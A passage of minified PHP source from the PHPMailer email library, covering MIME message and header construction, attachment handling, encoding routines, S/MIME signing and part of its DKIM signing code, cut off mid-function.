','smtp_connect_failed'=>'SMTP connect() failed.','smtp_error'=>'SMTP server error: ','variable_set'=>'Cannot set or reset variable: ','extension_missing'=>'Extension missing: ');if(empty($lang_path)){$lang_path=dirname(__FILE__).DIRECTORY_SEPARATOR.'language'.DIRECTORY_SEPARATOR;}$foundlang=true;$lang_file=$lang_path.'phpmailer.lang-'.$langcode.'.php';if($langcode!='en'){if(!is_readable($lang_file)){$foundlang=false;}else{$foundlang=include $lang_file;}}$this->language=$PHPMAILER_LANG;return (boolean)$foundlang;}public function getTranslations(){return $this->language;}public function addrAppend($type,$addr){$addresses=array();foreach($addr as $address){$addresses[]=$this->addrFormat($address);}return $type.': '.implode(', ',$addresses).$this->LE;}public function addrFormat($addr){if(empty($addr[1])){return $this->secureHeader($addr[0]);}else{return $this->encodeHeader($this->secureHeader($addr[1]),'phrase').' <'.$this->secureHeader($addr[0]).'>';}}public function wrapText($message,$length,$qp_mode=false){if($qp_mode){$soft_break=sprintf(' =%s',$this->LE);}else{$soft_break=$this->LE;}$is_utf8=(strtolower($this->CharSet)=='utf-8');$lelen=strlen($this->LE);$crlflen=strlen(self::CRLF);$message=$this->fixEOL($message);if(substr($message,-$lelen)==$this->LE){$message=substr($message,0,-$lelen);}$lines=explode($this->LE,$message);$message='';foreach($lines as $line){$words=explode(' ',$line);$buf='';$firstword=true;foreach($words as $word){if($qp_mode and(strlen($word)>$length)){$space_left=$length-strlen($buf)-$crlflen;if(!$firstword){if($space_left>20){$len=$space_left;if($is_utf8){$len=$this->utf8CharBoundary($word,$len);}elseif(substr($word,$len-1,1)=='='){$len--;}elseif(substr($word,$len-2,1)=='='){$len-=2;}$part=substr($word,0,$len);$word=substr($word,$len);$buf.=' '.$part;$message.=$buf.sprintf('=%s',self::CRLF);}else{$message.=$buf.$soft_break;}$buf='';}while(strlen($word)>0){if($length<=0){break;}$len=$length;if($is_utf8){$len=$this->utf8CharBoundary($word,$len);}elseif(substr($word,$len-1,1)=='='){$len--;}elseif(substr($word,$len-2,1)=='='){$len-=2;}$part=substr($word,0,$len);$word=substr($word,$len);if(strlen($word)>0){$message.=$part.sprintf('=%s',self::CRLF);}else{$buf=$part;}}}else{$buf_o=$buf;if(!$firstword){$buf.=' ';}$buf.=$word;if(strlen($buf)>$length and $buf_o!=''){$message.=$buf_o.$soft_break;$buf=$word;}}$firstword=false;}$message.=$buf.self::CRLF;}return $message;}public function utf8CharBoundary($encodedText,$maxLength){$foundSplitPos=false;$lookBack=3;while(!$foundSplitPos){$lastChunk=substr($encodedText,$maxLength-$lookBack,$lookBack);$encodedCharPos=strpos($lastChunk,'=');if(false!==$encodedCharPos){$hex=substr($encodedText,$maxLength-$lookBack+$encodedCharPos+1,2);$dec=hexdec($hex);if($dec<128){if($encodedCharPos>0){$maxLength=$maxLength-($lookBack-$encodedCharPos);}$foundSplitPos=true;}elseif($dec>=192){$maxLength=$maxLength-($lookBack-$encodedCharPos);$foundSplitPos=true;}elseif($dec<192){$lookBack+=3;}}else{$foundSplitPos=true;}}return $maxLength;}public function setWordWrap(){if($this->WordWrap<1){return;}switch($this->message_type){case 'alt':case 'alt_inline':case 'alt_attach':case 'alt_inline_attach':$this->AltBody=$this->wrapText($this->AltBody,$this->WordWrap);break;default:$this->Body=$this->wrapText($this->Body,$this->WordWrap);break;}}public function createHeader(){$result='';$uniq_id=md5(uniqid(time()));$this->boundary[1]='b1_'.$uniq_id;$this->boundary[2]='b2_'.$uniq_id;$this->boundary[3]='b3_'.$uniq_id;if($this->MessageDate==''){$this->MessageDate=self::rfcDate();}$result.=$this->headerLine('Date',$this->MessageDate);if($this->SingleTo){if($this->Mailer!='mail'){foreach($this->to as $toaddr){$this->SingleToArray[]=$this->addrFormat($toaddr);}}}else{if(count($this->to)>0){if($this->Mailer!='mail'){$result.=$this->addrAppend('To',$this->to);}}elseif(count($this->cc)==0){$result.=$this->headerLine('To','undisclosed-recipients:;');}}$result.=$this->addrAppend('From',array(array(trim($this->From),$this->FromName)));if(count($this->cc)>0){$result.=$this->addrAppend('Cc',$this->cc);}if(($this->Mailer=='sendmail' or $this->Mailer=='qmail' or $this->Mailer=='mail')and count($this->bcc)>0){$result.=$this->addrAppend('Bcc',$this->bcc);}if(count($this->ReplyTo)>0){$result.=$this->addrAppend('Reply-To',$this->ReplyTo);}if($this->Mailer!='mail'){$result.=$this->headerLine('Subject',$this->encodeHeader($this->secureHeader($this->Subject)));}if($this->MessageID!=''){$this->lastMessageID=$this->MessageID;}else{$this->lastMessageID=sprintf('<%s@%s>',$uniq_id,$this->ServerHostname());}$result.=$this->headerLine('Message-ID',$this->lastMessageID);$result.=$this->headerLine('X-Priority',$this->Priority);if($this->XMailer==''){}else{$myXmailer=trim($this->XMailer);if($myXmailer){$result.=$this->headerLine('X-Mailer',$myXmailer);}}if($this->ConfirmReadingTo!=''){$result.=$this->headerLine('Disposition-Notification-To','<'.trim($this->ConfirmReadingTo).'>');}foreach($this->CustomHeader as $header){$result.=$this->headerLine(trim($header[0]),$this->encodeHeader(trim($header[1])));}if(!$this->sign_key_file){$result.=$this->headerLine('MIME-Version','1.0');$result.=$this->getMailMIME();}return $result;}public function getMailMIME(){$result='';$ismultipart=true;switch($this->message_type){case 'inline':$result.=$this->headerLine('Content-Type','multipart/related;');$result.=$this->textLine("\tboundary=\"".$this->boundary[1].'"');break;case 'attach':case 'inline_attach':case 'alt_attach':case 'alt_inline_attach':$result.=$this->headerLine('Content-Type','multipart/mixed;');$result.=$this->textLine("\tboundary=\"".$this->boundary[1].'"');break;case 'alt':case 'alt_inline':$result.=$this->headerLine('Content-Type','multipart/alternative;');$result.=$this->textLine("\tboundary=\"".$this->boundary[1].'"');break;default:$result.=$this->textLine('Content-Type: '.$this->ContentType.'; charset='.$this->CharSet);$ismultipart=false;break;}if($this->Encoding!='7bit'){if($ismultipart){if($this->Encoding=='8bit'){$result.=$this->headerLine('Content-Transfer-Encoding','8bit');}}else{$result.=$this->headerLine('Content-Transfer-Encoding',$this->Encoding);}}if($this->Mailer!='mail'){$result.=$this->LE;}return $result;}public function getSentMIMEMessage(){return $this->MIMEHeader.$this->mailHeader.self::CRLF.$this->MIMEBody;}public function createBody(){$body='';if($this->sign_key_file){$body.=$this->getMailMIME().$this->LE;}$this->setWordWrap();$bodyEncoding=$this->Encoding;$bodyCharSet=$this->CharSet;if($bodyEncoding=='8bit' and!$this->has8bitChars($this->Body)){$bodyEncoding='7bit';$bodyCharSet='us-ascii';}$altBodyEncoding=$this->Encoding;$altBodyCharSet=$this->CharSet;if($altBodyEncoding=='8bit' and!$this->has8bitChars($this->AltBody)){$altBodyEncoding='7bit';$altBodyCharSet='us-ascii';}$mimepre="This is a multi-part message in MIME format.".$this->LE.$this->LE;switch($this->message_type){case 'inline':$body.=$mimepre;$body.=$this->getBoundary($this->boundary[1],$bodyCharSet,'',$bodyEncoding);$body.=$this->encodeString($this->Body,$bodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->attachAll('inline',$this->boundary[1]);break;case 'attach':$body.=$mimepre;$body.=$this->getBoundary($this->boundary[1],$bodyCharSet,'',$bodyEncoding);$body.=$this->encodeString($this->Body,$bodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->attachAll('attachment',$this->boundary[1]);break;case 'inline_attach':$body.=$mimepre;$body.=$this->textLine('--'.$this->boundary[1]);$body.=$this->headerLine('Content-Type','multipart/related;');$body.=$this->textLine("\tboundary=\"".$this->boundary[2].'"');$body.=$this->LE;$body.=$this->getBoundary($this->boundary[2],$bodyCharSet,'',$bodyEncoding);$body.=$this->encodeString($this->Body,$bodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->attachAll('inline',$this->boundary[2]);$body.=$this->LE;$body.=$this->attachAll('attachment',$this->boundary[1]);break;case 'alt':$body.=$mimepre;$body.=$this->getBoundary($this->boundary[1],$altBodyCharSet,'text/plain',$altBodyEncoding);$body.=$this->encodeString($this->AltBody,$altBodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->getBoundary($this->boundary[1],$bodyCharSet,'text/html',$bodyEncoding);$body.=$this->encodeString($this->Body,$bodyEncoding);$body.=$this->LE.$this->LE;if(!empty($this->Ical)){$body.=$this->getBoundary($this->boundary[1],'','text/calendar; method=REQUEST','');$body.=$this->encodeString($this->Ical,$this->Encoding);$body.=$this->LE.$this->LE;}$body.=$this->endBoundary($this->boundary[1]);break;case 'alt_inline':$body.=$mimepre;$body.=$this->getBoundary($this->boundary[1],$altBodyCharSet,'text/plain',$altBodyEncoding);$body.=$this->encodeString($this->AltBody,$altBodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->textLine('--'.$this->boundary[1]);$body.=$this->headerLine('Content-Type','multipart/related;');$body.=$this->textLine("\tboundary=\"".$this->boundary[2].'"');$body.=$this->LE;$body.=$this->getBoundary($this->boundary[2],$bodyCharSet,'text/html',$bodyEncoding);$body.=$this->encodeString($this->Body,$bodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->attachAll('inline',$this->boundary[2]);$body.=$this->LE;$body.=$this->endBoundary($this->boundary[1]);break;case 'alt_attach':$body.=$mimepre;$body.=$this->textLine('--'.$this->boundary[1]);$body.=$this->headerLine('Content-Type','multipart/alternative;');$body.=$this->textLine("\tboundary=\"".$this->boundary[2].'"');$body.=$this->LE;$body.=$this->getBoundary($this->boundary[2],$altBodyCharSet,'text/plain',$altBodyEncoding);$body.=$this->encodeString($this->AltBody,$altBodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->getBoundary($this->boundary[2],$bodyCharSet,'text/html',$bodyEncoding);$body.=$this->encodeString($this->Body,$bodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->endBoundary($this->boundary[2]);$body.=$this->LE;$body.=$this->attachAll('attachment',$this->boundary[1]);break;case 'alt_inline_attach':$body.=$mimepre;$body.=$this->textLine('--'.$this->boundary[1]);$body.=$this->headerLine('Content-Type','multipart/alternative;');$body.=$this->textLine("\tboundary=\"".$this->boundary[2].'"');$body.=$this->LE;$body.=$this->getBoundary($this->boundary[2],$altBodyCharSet,'text/plain',$altBodyEncoding);$body.=$this->encodeString($this->AltBody,$altBodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->textLine('--'.$this->boundary[2]);$body.=$this->headerLine('Content-Type','multipart/related;');$body.=$this->textLine("\tboundary=\"".$this->boundary[3].'"');$body.=$this->LE;$body.=$this->getBoundary($this->boundary[3],$bodyCharSet,'text/html',$bodyEncoding);$body.=$this->encodeString($this->Body,$bodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->attachAll('inline',$this->boundary[3]);$body.=$this->LE;$body.=$this->endBoundary($this->boundary[2]);$body.=$this->LE;$body.=$this->attachAll('attachment',$this->boundary[1]);break;default:$body.=$this->encodeString($this->Body,$bodyEncoding);break;}if($this->isError()){$body='';}elseif($this->sign_key_file){try{if(!defined('PKCS7_TEXT')){throw new phpmailerException($this->lang('extension_missing').'openssl');}$file=tempnam(sys_get_temp_dir(),'mail');if(false===file_put_contents($file,$body)){throw new phpmailerException($this->lang('signing').' Could not write temp file');}$signed=tempnam(sys_get_temp_dir(),'signed');if(empty($this->sign_extracerts_file)){$sign=@openssl_pkcs7_sign($file,$signed,'file://'.realpath($this->sign_cert_file),array('file://'.realpath($this->sign_key_file),$this->sign_key_pass),null);}else{$sign=@openssl_pkcs7_sign($file,$signed,'file://'.realpath($this->sign_cert_file),array('file://'.realpath($this->sign_key_file),$this->sign_key_pass),null,PKCS7_DETACHED,$this->sign_extracerts_file);}if($sign){@unlink($file);$body=file_get_contents($signed);@unlink($signed);$parts=explode("\n\n",$body,2);$this->MIMEHeader.=$parts[0].$this->LE.$this->LE;$body=$parts[1];}else{@unlink($file);@unlink($signed);throw new phpmailerException($this->lang('signing').openssl_error_string());}}catch(phpmailerException $exc){$body='';if($this->exceptions){throw $exc;}}}return $body;}protected function getBoundary($boundary,$charSet,$contentType,$encoding){$result='';if($charSet==''){$charSet=$this->CharSet;}if($contentType==''){$contentType=$this->ContentType;}if($encoding==''){$encoding=$this->Encoding;}$result.=$this->textLine('--'.$boundary);$result.=sprintf('Content-Type: %s; charset=%s',$contentType,$charSet);$result.=$this->LE;if($encoding!='7bit'){$result.=$this->headerLine('Content-Transfer-Encoding',$encoding);}$result.=$this->LE;return $result;}protected function endBoundary($boundary){return $this->LE.'--'.$boundary.'--'.$this->LE;}protected function setMessageType(){$type=array();if($this->alternativeExists()){$type[]='alt';}if($this->inlineImageExists()){$type[]='inline';}if($this->attachmentExists()){$type[]='attach';}$this->message_type=implode('_',$type);if($this->message_type==''){$this->message_type='plain';}}public function headerLine($name,$value){return $name.': '.$value.$this->LE;}public function textLine($value){return $value.$this->LE;}public function addAttachment($path,$name='',$encoding='base64',$type='',$disposition='attachment'){try{if(!@is_file($path)){throw new phpmailerException($this->lang('file_access').$path,self::STOP_CONTINUE);}if($type==''){$type=self::filenameToType($path);}$filename=basename($path);if($name==''){$name=$filename;}$this->attachment[]=array(0=>$path,1=>$filename,2=>$name,3=>$encoding,4=>$type,5=>false,6=>$disposition,7=>0);}catch(phpmailerException $exc){$this->setError($exc->getMessage());$this->edebug($exc->getMessage());if($this->exceptions){throw $exc;}return false;}return true;}public function getAttachments(){return $this->attachment;}protected function attachAll($disposition_type,$boundary){$mime=array();$cidUniq=array();$incl=array();foreach($this->attachment as $attachment){if($attachment[6]==$disposition_type){$string='';$path='';$bString=$attachment[5];if($bString){$string=$attachment[0];}else{$path=$attachment[0];}$inclhash=md5(serialize($attachment));if(in_array($inclhash,$incl)){continue;}$incl[]=$inclhash;$name=$attachment[2];$encoding=$attachment[3];$type=$attachment[4];$disposition=$attachment[6];$cid=$attachment[7];if($disposition=='inline'&&isset($cidUniq[$cid])){continue;}$cidUniq[$cid]=true;$mime[]=sprintf('--%s%s',$boundary,$this->LE);$mime[]=sprintf('Content-Type: %s; name="%s"%s',$type,$this->encodeHeader($this->secureHeader($name)),$this->LE);if($encoding!='7bit'){$mime[]=sprintf('Content-Transfer-Encoding: %s%s',$encoding,$this->LE);}if($disposition=='inline'){$mime[]=sprintf('Content-ID: <%s>%s',$cid,$this->LE);}if(!(empty($disposition))){$encoded_name=$this->encodeHeader($this->secureHeader($name));if(preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/',$encoded_name)){$mime[]=sprintf('Content-Disposition: %s; filename="%s"%s',$disposition,$encoded_name,$this->LE.$this->LE);}else{$mime[]=sprintf('Content-Disposition: %s; filename=%s%s',$disposition,$encoded_name,$this->LE.$this->LE);}}else{$mime[]=$this->LE;}if($bString){$mime[]=$this->encodeString($string,$encoding);if($this->isError()){return'';}$mime[]=$this->LE.$this->LE;}else{$mime[]=$this->encodeFile($path,$encoding);if($this->isError()){return'';}$mime[]=$this->LE.$this->LE;}}}$mime[]=sprintf('--%s--%s',$boundary,$this->LE);return implode('',$mime);}protected function encodeFile($path,$encoding='base64'){try{if(!is_readable($path)){throw new phpmailerException($this->lang('file_open').$path,self::STOP_CONTINUE);}$magic_quotes=get_magic_quotes_runtime();if($magic_quotes){if(version_compare(PHP_VERSION,'5.3.0','<')){set_magic_quotes_runtime(false);}else{ini_set('magic_quotes_runtime',false);}}$file_buffer=file_get_contents($path);$file_buffer=$this->encodeString($file_buffer,$encoding);if($magic_quotes){if(version_compare(PHP_VERSION,'5.3.0','<')){set_magic_quotes_runtime($magic_quotes);}else{ini_set('magic_quotes_runtime',$magic_quotes);}}return $file_buffer;}catch(Exception $exc){$this->setError($exc->getMessage());return'';}}public function encodeString($str,$encoding='base64'){$encoded='';switch(strtolower($encoding)){case 'base64':$encoded=chunk_split(base64_encode($str),76,$this->LE);break;case '7bit':case '8bit':$encoded=$this->fixEOL($str);if(substr($encoded,-(strlen($this->LE)))!=$this->LE){$encoded.=$this->LE;}break;case 'binary':$encoded=$str;break;case 'quoted-printable':$encoded=$this->encodeQP($str);break;default:$this->setError($this->lang('encoding').$encoding);break;}return $encoded;}public function encodeHeader($str,$position='text'){$matchcount=0;switch(strtolower($position)){case 'phrase':if(!preg_match('/[\200-\377]/',$str)){$encoded=addcslashes($str,"\0..\37\177\\\"");if(($str==$encoded)&&!preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/',$str)){return($encoded);}else{return("\"$encoded\"");}}$matchcount=preg_match_all('/[^\040\041\043-\133\135-\176]/',$str,$matches);break;case 'comment':$matchcount=preg_match_all('/[()"]/',$str,$matches);case 'text':default:$matchcount+=preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/',$str,$matches);break;}if($matchcount==0){return($str);}$maxlen=75-7-strlen($this->CharSet);if($matchcount>strlen($str)/3){$encoding='B';if(function_exists('mb_strlen')&&$this->hasMultiBytes($str)){$encoded=$this->base64EncodeWrapMB($str,"\n");}else{$encoded=base64_encode($str);$maxlen-=$maxlen%4;$encoded=trim(chunk_split($encoded,$maxlen,"\n"));}}else{$encoding='Q';$encoded=$this->encodeQ($str,$position);$encoded=$this->wrapText($encoded,$maxlen,true);$encoded=str_replace('='.self::CRLF,"\n",trim($encoded));}$encoded=preg_replace('/^(.*)$/m',' =?'.$this->CharSet."?$encoding?\\1?=",$encoded);$encoded=trim(str_replace("\n",$this->LE,$encoded));return $encoded;}public function hasMultiBytes($str){if(function_exists('mb_strlen')){return(strlen($str)>mb_strlen($str,$this->CharSet));}else{return false;}}public function has8bitChars($text){return (boolean)preg_match('/[\x80-\xFF]/',$text);}public function base64EncodeWrapMB($str,$linebreak=null){$start='=?'.$this->CharSet.'?B?';$end='?=';$encoded='';if($linebreak===null){$linebreak=$this->LE;}$mb_length=mb_strlen($str,$this->CharSet);$length=75-strlen($start)-strlen($end);$ratio=$mb_length/strlen($str);$avgLength=floor($length*$ratio*.75);for($i=0;$i<$mb_length;$i+=$offset){$lookBack=0;do{$offset=$avgLength-$lookBack;$chunk=mb_substr($str,$i,$offset,$this->CharSet);$chunk=base64_encode($chunk);$lookBack++;}while(strlen($chunk)>$length);$encoded.=$chunk.$linebreak;}$encoded=substr($encoded,0,-strlen($linebreak));return $encoded;}public function encodeQP($string,$line_max=76){if(function_exists('quoted_printable_encode')){return $this->fixEOL(quoted_printable_encode($string));}$string=str_replace(array('%20','%0D%0A.','%0D%0A','%'),array(' ',"\r\n=2E","\r\n",'='),rawurlencode($string));$string=preg_replace('/[^\r\n]{'.($line_max-3).'}[^=\r\n]{2}/',"$0=\r\n",$string);return $this->fixEOL($string);}public function encodeQPphp($string,$line_max=76,$space_conv=false){return $this->encodeQP($string,$line_max);}public function encodeQ($str,$position='text'){$pattern='';$encoded=str_replace(array("\r","\n"),'',$str);switch(strtolower($position)){case 'phrase':$pattern='^A-Za-z0-9!*+\/ -';break;case 'comment':$pattern='\(\)"';case 'text':default:$pattern='\000-\011\013\014\016-\037\075\077\137\177-\377'.$pattern;break;}$matches=array();if(preg_match_all("/[{$pattern}]/",$encoded,$matches)){$eqkey=array_search('=',$matches[0]);if(false!==$eqkey){unset($matches[0][$eqkey]);array_unshift($matches[0],'=');}foreach(array_unique($matches[0])as $char){$encoded=str_replace($char,'='.sprintf('%02X',ord($char)),$encoded);}}return str_replace(' ','_',$encoded);}public function addStringAttachment($string,$filename,$encoding='base64',$type='',$disposition='attachment'){if($type==''){$type=self::filenameToType($filename);}$this->attachment[]=array(0=>$string,1=>$filename,2=>basename($filename),3=>$encoding,4=>$type,5=>true,6=>$disposition,7=>0);}public function addEmbeddedImage($path,$cid,$name='',$encoding='base64',$type='',$disposition='inline'){if(!@is_file($path)){$this->setError($this->lang('file_access').$path);return false;}if($type==''){$type=self::filenameToType($path);}$filename=basename($path);if($name==''){$name=$filename;}$this->attachment[]=array(0=>$path,1=>$filename,2=>$name,3=>$encoding,4=>$type,5=>false,6=>$disposition,7=>$cid);return true;}public function addStringEmbeddedImage($string,$cid,$name='',$encoding='base64',$type='',$disposition='inline'){if($type==''){$type=self::filenameToType($name);}$this->attachment[]=array(0=>$string,1=>$name,2=>$name,3=>$encoding,4=>$type,5=>true,6=>$disposition,7=>$cid);return true;}public function inlineImageExists(){foreach($this->attachment as $attachment){if($attachment[6]=='inline'){return true;}}return false;}public function attachmentExists(){foreach($this->attachment as $attachment){if($attachment[6]=='attachment'){return true;}}return false;}public function alternativeExists(){return!empty($this->AltBody);}public function clearAddresses(){foreach($this->to as $to){unset($this->all_recipients[strtolower($to[0])]);}$this->to=array();}public function clearCCs(){foreach($this->cc as $cc){unset($this->all_recipients[strtolower($cc[0])]);}$this->cc=array();}public function clearBCCs(){foreach($this->bcc as $bcc){unset($this->all_recipients[strtolower($bcc[0])]);}$this->bcc=array();}public function clearReplyTos(){$this->ReplyTo=array();}public function clearAllRecipients(){$this->to=array();$this->cc=array();$this->bcc=array();$this->all_recipients=array();}public function clearAttachments(){$this->attachment=array();}public function clearCustomHeaders(){$this->CustomHeader=array();}protected function setError($msg){$this->error_count++;if($this->Mailer=='smtp' and!is_null($this->smtp)){$lasterror=$this->smtp->getError();if(!empty($lasterror['error'])){$msg.=$this->lang('smtp_error').$lasterror['error'];if(!empty($lasterror['detail'])){$msg.=' Detail: '.$lasterror['detail'];}if(!empty($lasterror['smtp_code'])){$msg.=' SMTP code: '.$lasterror['smtp_code'];}if(!empty($lasterror['smtp_code_ex'])){$msg.=' Additional SMTP info: '.$lasterror['smtp_code_ex'];}}}$this->ErrorInfo=$msg;}public static function rfcDate(){date_default_timezone_set(@date_default_timezone_get());return date('D, j M Y H:i:s O');}protected function serverHostname(){$result='localhost.localdomain';if(!empty($this->Hostname)){$result=$this->Hostname;}elseif(isset($_SERVER)and array_key_exists('SERVER_NAME',$_SERVER)and!empty($_SERVER['SERVER_NAME'])){$result=$_SERVER['SERVER_NAME'];}elseif(function_exists('gethostname')&&gethostname()!==false){$result=gethostname();}elseif(php_uname('n')!==false){$result=php_uname('n');}return $result;}protected function lang($key){if(count($this->language)<1){$this->setLanguage('en');}if(array_key_exists($key,$this->language)){return $this->language[$key];}else{return $key;}}public function isError(){return($this->error_count>0);}public function fixEOL($str){$nstr=str_replace(array("\r\n","\r"),"\n",$str);if($this->LE!=="\n"){$nstr=str_replace("\n",$this->LE,$nstr);}return $nstr;}public function addCustomHeader($name,$value=null){if($value===null){$this->CustomHeader[]=explode(':',$name,2);}else{$this->CustomHeader[]=array($name,$value);}}public function getCustomHeaders(){return $this->CustomHeader;}public function msgHTML($message,$basedir='',$advanced=false){preg_match_all('/(src|background)=["\'](.*)["\']/Ui',$message,$images);if(isset($images[2])){foreach($images[2]as $imgindex=>$url){if(preg_match('#^data:(image[^;,]*)(;base64)?,#',$url,$match)){$data=substr($url,strpos($url,','));if($match[2]){$data=base64_decode($data);}else{$data=rawurldecode($data);}$cid=md5($url).'@phpmailer.0';if($this->addStringEmbeddedImage($data,$cid,'','base64',$match[1])){$message=str_replace($images[0][$imgindex],$images[1][$imgindex].'="cid:'.$cid.'"',$message);}}elseif(!preg_match('#^[A-z]+://#',$url)){$filename=basename($url);$directory=dirname($url);if($directory=='.'){$directory='';}$cid=md5($url).'@phpmailer.0';if(strlen($basedir)>1&&substr($basedir,-1)!='/'){$basedir.='/';}if(strlen($directory)>1&&substr($directory,-1)!='/'){$directory.='/';}if($this->addEmbeddedImage($basedir.$directory.$filename,$cid,$filename,'base64',self::_mime_types((string)self::mb_pathinfo($filename,PATHINFO_EXTENSION)))){$message=preg_replace('/'.$images[1][$imgindex].'=["\']'.preg_quote($url,'/').'["\']/Ui',$images[1][$imgindex].'="cid:'.$cid.'"',$message);}}}}$this->isHTML(true);$this->Body=$this->normalizeBreaks($message);$this->AltBody=$this->normalizeBreaks($this->html2text($message,$advanced));if(empty($this->AltBody)){$this->AltBody='To view this email message, open it in a program that understands HTML!'.self::CRLF.self::CRLF;}return $this->Body;}public function html2text($html,$advanced=false){if(is_callable($advanced)){return call_user_func($advanced,$html);}return html_entity_decode(trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si','',$html))),ENT_QUOTES,$this->CharSet);}public static function _mime_types($ext=''){$mimes=array('xl'=>'application/excel','js'=>'application/javascript','hqx'=>'application/mac-binhex40','cpt'=>'application/mac-compactpro','bin'=>'application/macbinary','doc'=>'application/msword','word'=>'application/msword','class'=>'application/octet-stream','dll'=>'application/octet-stream','dms'=>'application/octet-stream','exe'=>'application/octet-stream','lha'=>'application/octet-stream','lzh'=>'application/octet-stream','psd'=>'application/octet-stream','sea'=>'application/octet-stream','so'=>'application/octet-stream','oda'=>'application/oda','pdf'=>'application/pdf','ai'=>'application/postscript','eps'=>'application/postscript','ps'=>'application/postscript','smi'=>'application/smil','smil'=>'application/smil','mif'=>'application/vnd.mif','xls'=>'application/vnd.ms-excel','ppt'=>'application/vnd.ms-powerpoint','wbxml'=>'application/vnd.wap.wbxml','wmlc'=>'application/vnd.wap.wmlc','dcr'=>'application/x-director','dir'=>'application/x-director','dxr'=>'application/x-director','dvi'=>'application/x-dvi','gtar'=>'application/x-gtar','php3'=>'application/x-httpd-php','php4'=>'application/x-httpd-php','php'=>'application/x-httpd-php','phtml'=>'application/x-httpd-php','phps'=>'application/x-httpd-php-source','swf'=>'application/x-shockwave-flash','sit'=>'application/x-stuffit','tar'=>'application/x-tar','tgz'=>'application/x-tar','xht'=>'application/xhtml+xml','xhtml'=>'application/xhtml+xml','zip'=>'application/zip','mid'=>'audio/midi','midi'=>'audio/midi','mp2'=>'audio/mpeg','mp3'=>'audio/mpeg','mpga'=>'audio/mpeg','aif'=>'audio/x-aiff','aifc'=>'audio/x-aiff','aiff'=>'audio/x-aiff','ram'=>'audio/x-pn-realaudio','rm'=>'audio/x-pn-realaudio','rpm'=>'audio/x-pn-realaudio-plugin','ra'=>'audio/x-realaudio','wav'=>'audio/x-wav','bmp'=>'image/bmp','gif'=>'image/gif','jpeg'=>'image/jpeg','jpe'=>'image/jpeg','jpg'=>'image/jpeg','png'=>'image/png','tiff'=>'image/tiff','tif'=>'image/tiff','eml'=>'message/rfc822','css'=>'text/css','html'=>'text/html','htm'=>'text/html','shtml'=>'text/html','log'=>'text/plain','text'=>'text/plain','txt'=>'text/plain','rtx'=>'text/richtext','rtf'=>'text/rtf','vcf'=>'text/vcard','vcard'=>'text/vcard','xml'=>'text/xml','xsl'=>'text/xml','mpeg'=>'video/mpeg','mpe'=>'video/mpeg','mpg'=>'video/mpeg','mov'=>'video/quicktime','qt'=>'video/quicktime','rv'=>'video/vnd.rn-realvideo','avi'=>'video/x-msvideo','movie'=>'video/x-sgi-movie');if(array_key_exists(strtolower($ext),$mimes)){return $mimes[strtolower($ext)];}return 'application/octet-stream';}public static function filenameToType($filename){$qpos=strpos($filename,'?');if(false!==$qpos){$filename=substr($filename,0,$qpos);}$pathinfo=self::mb_pathinfo($filename);return self::_mime_types($pathinfo['extension']);}public static function mb_pathinfo($path,$options=null){$ret=array('dirname'=>'','basename'=>'','extension'=>'','filename'=>'');$pathinfo=array();if(preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im',$path,$pathinfo)){if(array_key_exists(1,$pathinfo)){$ret['dirname']=$pathinfo[1];}if(array_key_exists(2,$pathinfo)){$ret['basename']=$pathinfo[2];}if(array_key_exists(5,$pathinfo)){$ret['extension']=$pathinfo[5];}if(array_key_exists(3,$pathinfo)){$ret['filename']=$pathinfo[3];}}switch($options){case PATHINFO_DIRNAME:case 'dirname':return $ret['dirname'];case PATHINFO_BASENAME:case 'basename':return $ret['basename'];case PATHINFO_EXTENSION:case 'extension':return $ret['extension'];case PATHINFO_FILENAME:case 'filename':return $ret['filename'];default:return $ret;}}public function set($name,$value=''){if(property_exists($this,$name)){$this->$name=$value;return true;}else{$this->setError($this->lang('variable_set').$name);return false;}}public function secureHeader($str){return trim(str_replace(array("\r","\n"),'',$str));}public static function normalizeBreaks($text,$breaktype="\r\n"){return preg_replace('/(\r\n|\r|\n)/ms',$breaktype,$text);}public function sign($cert_filename,$key_filename,$key_pass,$extracerts_filename=''){$this->sign_cert_file=$cert_filename;$this->sign_key_file=$key_filename;$this->sign_key_pass=$key_pass;$this->sign_extracerts_file=$extracerts_filename;}public function DKIM_QP($txt){$line='';for($i=0;$i<strlen($txt);$i++){$ord=ord($txt[$i]);if(((0x21<=$ord)&&($ord<=0x3A))||$ord==0x3C||((0x3E<=$ord)&&($ord<=0x7E))){$line.=$txt[$i];}else{$line.='='.sprintf('%02X',$ord);}}return $line;}public function DKIM_Sign($signHeader){if(!defined('PKCS7_TEXT')){if($this->exceptions){throw new phpmailerException($this->lang('extension_missing').'openssl');}return'';}$privKeyStr=file_get_contents($this->DKIM_private);if($this->DKIM_passphrase!=''){$privKey=openssl_pkey_get_private($privKeyStr,$this->DKIM_passphrase);}else{$privKey=$privKeyStr;}if(openssl_sign($signHeader,$signature,$privKey)){return base64_encode($signature);}return'';}public function DKIM_HeaderC($signHeader){$signHeader=preg_replace('/\r\n\s+/',' ',$signHeader);$lines=explode("\r\n",$signHeader);foreach($lines as $key=>$line){list($heading,$value)=explode(':',$line,2);$heading=strtolower($heading);$value=preg_replace('/\s+/',' ',$value);$lines[$key]=$heading.':'.trim($value);}$signHeader=implode("\r\n",$lines);return $signHeader;}public function DKIM_BodyC($body){if($body==''){return "\r\n";}$body=str_replace("\r\n","\n",$body);$body=str_replace("\n","\r\n",$body);while(substr($body,strlen($body)-4,4)=="\r\n\r\n"){$body=substr($body,0,strlen($body)-2);}return $body;}public function DKIM_Add($headers_line,$subject,$body){$DKIMsignatureType='rsa-sha1';$DKIMcanonicalization='relaxed/simple';$DKIMquery='dns/txt';$DKIMtime=time();$subject_header="Subject: $subject";$headers=explode($this->LE,$headers_line);$from_header='';$to_header='';$current='';foreach($headers as 